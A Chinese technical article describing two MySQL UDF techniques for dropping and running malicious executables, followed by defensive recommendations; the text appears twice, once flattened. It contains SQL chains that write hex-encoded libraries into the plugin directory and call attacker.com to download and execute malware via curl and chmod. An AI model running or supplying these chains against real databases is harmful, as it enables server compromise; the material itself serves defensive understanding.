深入探索数据库攻击技术 Part 4:通过SQL命令投递和执行恶意可执行文件(MySQL)
字数 1086 2025-08-29 08:32:09

通过SQL命令在MySQL中投递和执行恶意可执行文件的技术分析

技术背景

MySQL数据库系统允许通过SQL命令创建和执行可执行文件,攻击者可以利用这一特性在目标系统上投递和执行恶意荷载。本技术文档详细分析两种主要攻击方法及其实现细节。

方法一:通过SQL执行DLL/共享对象

攻击流程

  1. HEX编码转换

    • 将DLL(Windows)或共享对象(Linux)转换为HEX字符串
    • 将HEX字符串加载到新建的数据表中
  2. 文件创建

    • 使用SELECT FROM TABLE ... INTO DUMPFILE命令
    • 将HEX数据提取到MySQL插件目录中的文件中(如cna12.dll)
  3. 函数创建

    • 通过CREATE FUNCTION命令创建新函数(如xpdl3())
    • 该函数实际作为下载器使用
  4. 恶意代码执行

    • 函数通过HTTP请求从远程服务器下载可执行文件(如123.exe)
    • 文件保存到目标系统(如c:\isetup.exe)
    • 执行文件后从磁盘删除

关键命令示例

-- 创建表并插入HEX编码的DLL
CREATE TABLE yongger2(data LONGBLOB);
INSERT INTO yongger2 VALUES(0x4D5A900003000000...);

-- 将DLL写入插件目录
SELECT data FROM yongger2 INTO DUMPFILE 'C:/Program Files/MySQL/MySQL Server 5.0/lib/plugin/cna12.dll';

-- 创建函数
CREATE FUNCTION xpdl3 RETURNS STRING SONAME 'cna12.dll';

-- 调用函数执行下载
SELECT xpdl3('http://attacker.com/123.exe', 'c:\\isetup.exe');

方法二:通过操作系统执行共享对象

攻击流程

  1. 二进制文件创建

    • 使用UNHEX函数将HEX编码的共享对象解码
    • 转储到MySQL插件目录中的文件
  2. 权限设置

    • log_bin_trust_function_creators系统变量设为1
    • 需要SUPER权限或声明函数为确定性
  3. UDF创建

    • 通过共享对象创建用户定义函数(如sys_eval)
  4. 恶意代码执行

    • 调用函数下载可执行文件(使用cURL)
    • 修改文件权限为777
    • 执行文件

关键命令示例

-- 将共享对象写入插件目录
SELECT UNHEX('7F454C46010101000000000000000000...') 
INTO DUMPFILE '/usr/lib/mysql/plugin/evil.so';

-- 设置权限
SET GLOBAL log_bin_trust_function_creators=1;

-- 创建UDF
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'evil.so';

-- 调用函数执行命令
SELECT sys_eval('curl http://attacker.com/malware -o /tmp/malware && chmod 777 /tmp/malware && /tmp/malware');

技术要点总结

  1. 文件写入要求

    • MySQL插件目录必须可写
    • 需要知道plugin_dir系统变量的值
  2. 权限要求

    • 方法一需要文件写入权限
    • 方法二需要SUPER权限或能够修改全局变量
  3. UDF利用

    • 两种方法都利用了MySQL的用户定义函数功能
    • 通过外部程序库(DLL/SO)加载恶意函数
  4. 隐蔽性技术

    • 使用HEX编码隐藏二进制内容
    • 执行后删除文件痕迹
    • 通过合法MySQL功能实现恶意操作

防御建议

  1. 权限控制

    • 限制MySQL用户的SUPER权限
    • 设置secure_file_priv限制文件导出位置
  2. 配置加固

    • 保持log_bin_trust_function_creators=0
    • 限制插件目录的写入权限
  3. 监控措施

    • 监控异常的文件创建操作
    • 审计UDF创建和使用情况
    • 检测异常的HEX编码SQL语句
  4. 系统加固

    • 定期更新MySQL版本
    • 限制MySQL服务器的网络出站连接

通过理解这些攻击技术,安全团队可以更好地防御针对MySQL数据库的恶意文件投递和执行攻击。

通过SQL命令在MySQL中投递和执行恶意可执行文件的技术分析 技术背景 MySQL数据库系统允许通过SQL命令创建和执行可执行文件,攻击者可以利用这一特性在目标系统上投递和执行恶意荷载。本技术文档详细分析两种主要攻击方法及其实现细节。 方法一:通过SQL执行DLL/共享对象 攻击流程 HEX编码转换 将DLL(Windows)或共享对象(Linux)转换为HEX字符串 将HEX字符串加载到新建的数据表中 文件创建 使用 SELECT FROM TABLE ... INTO DUMPFILE 命令 将HEX数据提取到MySQL插件目录中的文件中(如 cna12.dll ) 函数创建 通过 CREATE FUNCTION 命令创建新函数(如 xpdl3() ) 该函数实际作为下载器使用 恶意代码执行 函数通过HTTP请求从远程服务器下载可执行文件(如 123.exe ) 文件保存到目标系统(如 c:\isetup.exe ) 执行文件后从磁盘删除 关键命令示例 方法二:通过操作系统执行共享对象 攻击流程 二进制文件创建 使用 UNHEX 函数将HEX编码的共享对象解码 转储到MySQL插件目录中的文件 权限设置 将 log_bin_trust_function_creators 系统变量设为1 需要SUPER权限或声明函数为确定性 UDF创建 通过共享对象创建用户定义函数(如 sys_eval ) 恶意代码执行 调用函数下载可执行文件(使用cURL) 修改文件权限为777 执行文件 关键命令示例 技术要点总结 文件写入要求 MySQL插件目录必须可写 需要知道 plugin_dir 系统变量的值 权限要求 方法一需要文件写入权限 方法二需要SUPER权限或能够修改全局变量 UDF利用 两种方法都利用了MySQL的用户定义函数功能 通过外部程序库(DLL/SO)加载恶意函数 隐蔽性技术 使用HEX编码隐藏二进制内容 执行后删除文件痕迹 通过合法MySQL功能实现恶意操作 防御建议 权限控制 限制MySQL用户的SUPER权限 设置 secure_file_priv 限制文件导出位置 配置加固 保持 log_bin_trust_function_creators=0 限制插件目录的写入权限 监控措施 监控异常的文件创建操作 审计UDF创建和使用情况 检测异常的HEX编码SQL语句 系统加固 定期更新MySQL版本 限制MySQL服务器的网络出站连接 通过理解这些攻击技术,安全团队可以更好地防御针对MySQL数据库的恶意文件投递和执行攻击。